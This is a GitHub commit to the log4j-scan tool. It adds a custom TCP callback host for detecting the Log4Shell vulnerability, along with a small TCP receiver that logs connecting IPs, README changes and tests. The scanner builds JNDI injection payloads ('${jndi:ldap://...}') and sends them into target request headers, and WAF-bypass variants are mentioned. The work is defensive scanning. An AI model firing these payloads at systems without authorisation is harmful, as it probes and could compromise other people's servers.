Skip to content
This repository has been archived by the owner on Mar 2, 2022. It is now read-only.

Commit

Permalink
Fix fullhunt#80 : Support custom TCP callback host
Browse files Browse the repository at this point in the history
  • Loading branch information
axel3rd committed Dec 23, 2021
1 parent a3ce413 commit 38d1043
Show file tree
Hide file tree
Showing 6 changed files with 100 additions and 9 deletions.
1 change: 1 addition & 0 deletions .gitattributes
Original file line number Diff line number Diff line change
@@ -0,0 +1 @@
*.py text eol=lf
18 changes: 16 additions & 2 deletions README.md
Original file line number Diff line number Diff line change
Expand Up @@ -11,6 +11,8 @@
- Fuzzing for HTTP POST Data parameters.
- Fuzzing for JSON data parameters.
- Supports DNS callback for vulnerability discovery and validation.
- Supports TCP callback for vulnerability discovery and validation on corporate network (requires [TCP receveir](./tcp-receiver)).
- Supports preemptive basic authentication or authorization header injection (basic type)
- WAF Bypass payloads.

---
Expand Down Expand Up @@ -38,8 +40,8 @@ $ python3 log4j-scan.py -h
[•] CVE-2021-44228 - Apache Log4j RCE Scanner
[•] Scanner provided by FullHunt.io - The Next-Gen Attack Surface Management Platform.
[•] Secure your External Attack Surface with FullHunt.io.
usage: log4j-scan.py [-h] [-u URL] [-l USEDLIST] [--request-type REQUEST_TYPE] [--headers-file HEADERS_FILE] [--run-all-tests] [--exclude-user-agent-fuzzing]
[--wait-time WAIT_TIME] [--waf-bypass] [--dns-callback-provider DNS_CALLBACK_PROVIDER] [--custom-dns-callback-host CUSTOM_DNS_CALLBACK_HOST]
usage: log4j-scan.py [-h] [-u URL] [-l USEDLIST] [--request-type REQUEST_TYPE] [--headers-file HEADERS_FILE] [--run-all-tests] [--exclude-user-agent-fuzzing] [--wait-time WAIT_TIME] [--waf-bypass]
[--dns-callback-provider DNS_CALLBACK_PROVIDER] [--custom-dns-callback-host CUSTOM_DNS_CALLBACK_HOST] [--custom-tcp-callback-host CUSTOM_TCP_CALLBACK_HOST]
[--basic-auth-user USER] [--basic-auth-password PASSWORD] [--authorization-injection INJECTION_TYPE] [--disable-http-redirects]

optional arguments:
Expand All @@ -66,6 +68,8 @@ optional arguments:
DNS Callback provider (Options: dnslog.cn, interact.sh) - [Default: interact.sh].
--custom-dns-callback-host CUSTOM_DNS_CALLBACK_HOST
Custom DNS Callback Host.
--custom-tcp-callback-host CUSTOM_TCP_CALLBACK_HOST
Custom TCP Callback Host.
--basic-auth-user USER
Preemptive basic authentication user.
--basic-auth-password PASSWORD
Expand Down Expand Up @@ -101,6 +105,16 @@ $ python3 log4j-scan.py -u https://log4j.lab.secbot.local --waf-bypass
$ python3 log4j-scan.py -l urls.txt
```

## Scan an URL using a custom TCP receiver

In a corporate network, using external DNS could/should be forbidden, and install a dedicated corporate DNS for this scanner usage could be not trivial.

A way could be to use a running simple **[TCP receiver](./tcp-receiver/)** which logs vulnerable IPs.

```shell
$ python3 log4j-scan.py -u https://log4j.lab.secbot.local --custom-tcp-callback-host 10.42.42.42:80
```

# Installation

```
Expand Down
26 changes: 20 additions & 6 deletions log4j-scan.py
Original file line number Diff line number Diff line change
Expand Up @@ -112,6 +112,10 @@ def parse_args(args_input):
dest="custom_dns_callback_host",
help="Custom DNS Callback Host.",
action='store')
parser.add_argument("--custom-tcp-callback-host",
dest="custom_tcp_callback_host",
help="Custom TCP Callback Host.",
action='store')
parser.add_argument("--basic-auth-user",
dest="basic_auth_user",
help="Preemptive basic authentication user.",
Expand Down Expand Up @@ -287,7 +291,10 @@ def parse_url(url):
def scan_url(url, callback_host, proxies, args):
parsed_url = parse_url(url)
random_string = ''.join(random.choice('0123456789abcdefghijklmnopqrstuvwxyz') for i in range(7))
payload = '${jndi:ldap://%s.%s/%s}' % (parsed_url["host"], callback_host, random_string)
host_def = '%s.%s' % (parsed_url["host"], callback_host)
if args.custom_tcp_callback_host:
host_def = callback_host
payload = '${jndi:ldap://%s/%s}' % (host_def, random_string)
payloads = [payload]
if args.waf_bypass_payloads:
payloads.extend(generate_waf_bypass_payloads(f'{parsed_url["host"]}.{callback_host}', random_string))
Expand Down Expand Up @@ -376,10 +383,13 @@ def main(options):
raise ValueError("'--basic-auth-password' is mandatory when basic authentication user is defined.")
if args.authorization_injection_type != 'none':
raise ValueError("'--authorization-injection' is not compatible when basic authentication is defined.")
dns_callback_host = ""
if args.custom_dns_callback_host:
callback_host = ""
if args.custom_tcp_callback_host:
cprint(f"[•] Using custom TCP Callback host [{args.custom_tcp_callback_host}]. No verification will be done after sending fuzz requests.")
callback_host = args.custom_tcp_callback_host
elif args.custom_dns_callback_host:
cprint(f"[•] Using custom DNS Callback host [{args.custom_dns_callback_host}]. No verification will be done after sending fuzz requests.")
dns_callback_host = args.custom_dns_callback_host
callback_host = args.custom_dns_callback_host
else:
cprint(f"[•] Initiating DNS callback server ({args.dns_callback_provider}).")
if args.dns_callback_provider == "interact.sh":
Expand All @@ -388,17 +398,21 @@ def main(options):
dns_callback = Dnslog(proxies=proxies)
else:
raise ValueError("Invalid DNS Callback provider")
dns_callback_host = dns_callback.domain
callback_host = dns_callback.domain

cprint("[%] Checking for Log4j RCE CVE-2021-44228.", "magenta")
for url in urls:
cprint(f"[•] URL: {url}", "magenta")
scan_url(url, dns_callback_host, proxies, args)
scan_url(url, callback_host, proxies, args)

if args.custom_dns_callback_host:
cprint("[•] Payloads sent to all URLs. Custom DNS Callback host is provided, please check your logs to verify the existence of the vulnerability. Exiting.", "cyan")
return

if args.custom_tcp_callback_host:
cprint("[•] Payloads sent to all URLs. Custom TCP Callback host is provided, please check TCP receiver logs to verify the existence of the vulnerability. Exiting.", "cyan")
return

cprint("[•] Payloads sent to all URLs. Waiting for DNS OOB callbacks.", "cyan")
cprint("[•] Waiting...", "cyan")
time.sleep(int(args.wait_time))
Expand Down
11 changes: 11 additions & 0 deletions tcp-receiver/README.md
Original file line number Diff line number Diff line change
@@ -0,0 +1,11 @@
# Simple Python TCP receiver

Simple TCP receiver, which logs and writes in `output.txt` file any IP trying to connect on it (port 80, most common).

It is for `--custom-tcp-callback-host` option usage of *log4j-scan*.

Usage:

```shell
nohup python3 log4ShellReceiver.py 2>&1 &
```
34 changes: 34 additions & 0 deletions tcp-receiver/log4ShellReceiver.py
Original file line number Diff line number Diff line change
@@ -0,0 +1,34 @@
import socket
import sys

# Create a socket
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

# Ensure that you can restart your server quickly when it terminates
sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)

# Set the client socket's TCP "well-known port" number
well_known_port = 80
sock.bind(('', well_known_port))

# Set the number of clients waiting for connection that can be queued
print("Listening on " + str(well_known_port))
sock.listen(20)

# loop waiting for connections (terminate with Ctrl-C)
try:
while 1:
# accept
newSocket, address = sock.accept()
newSocket.setblocking(0)
sys.stdout.write("Connected from %s:%d..." % address)

# log the IP address
with open("output.txt", "a") as outfile:
outfile.write("%s\n" % address[0])

# close the connection quickly
newSocket.close()
print("disconnected")
finally:
sock.close()
19 changes: 18 additions & 1 deletion tests/test_log4j_scan.py
Original file line number Diff line number Diff line change
Expand Up @@ -34,14 +34,31 @@ def test_default(requests_mock, capsys):
assert 'Authorization' not in adapter_endpoint.last_request.headers


def test_custom_dns_callback_host(requests_mock):
def test_custom_dns_callback_host(requests_mock, capsys):
adapter_endpoint = requests_mock.get(LOCALHOST)

log4j_scan.main(['-u', LOCALHOST, '--custom-dns-callback-host', DNS_CUSTOM ])

assert adapter_endpoint.call_count == 1
assert re.match(r'\${jndi:ldap://localhost\.custom.dns.callback/.*}', adapter_endpoint.last_request.headers['User-Agent'])

captured = capsys.readouterr()
assert 'Using custom DNS Callback host [custom.dns.callback]' in captured.out
assert 'Custom DNS Callback host is provided' in captured.out


def test_custom_tcp_callback_host(requests_mock, capsys):
adapter_endpoint = requests_mock.get(LOCALHOST)

log4j_scan.main(['-u', LOCALHOST, '--custom-tcp-callback-host', '10.42.42.42:80'])

assert adapter_endpoint.call_count == 1
assert re.match(r'\${jndi:ldap://10.42.42.42:80/.*}', adapter_endpoint.last_request.headers['User-Agent'])

captured = capsys.readouterr()
assert 'Using custom TCP Callback host [10.42.42.42:80]' in captured.out
assert 'Custom TCP Callback host is provided' in captured.out


def test_authentication_basic_no_password():
with pytest.raises(Exception) as ex:
Expand Down

0 comments on commit 38d1043

Please sign in to comment.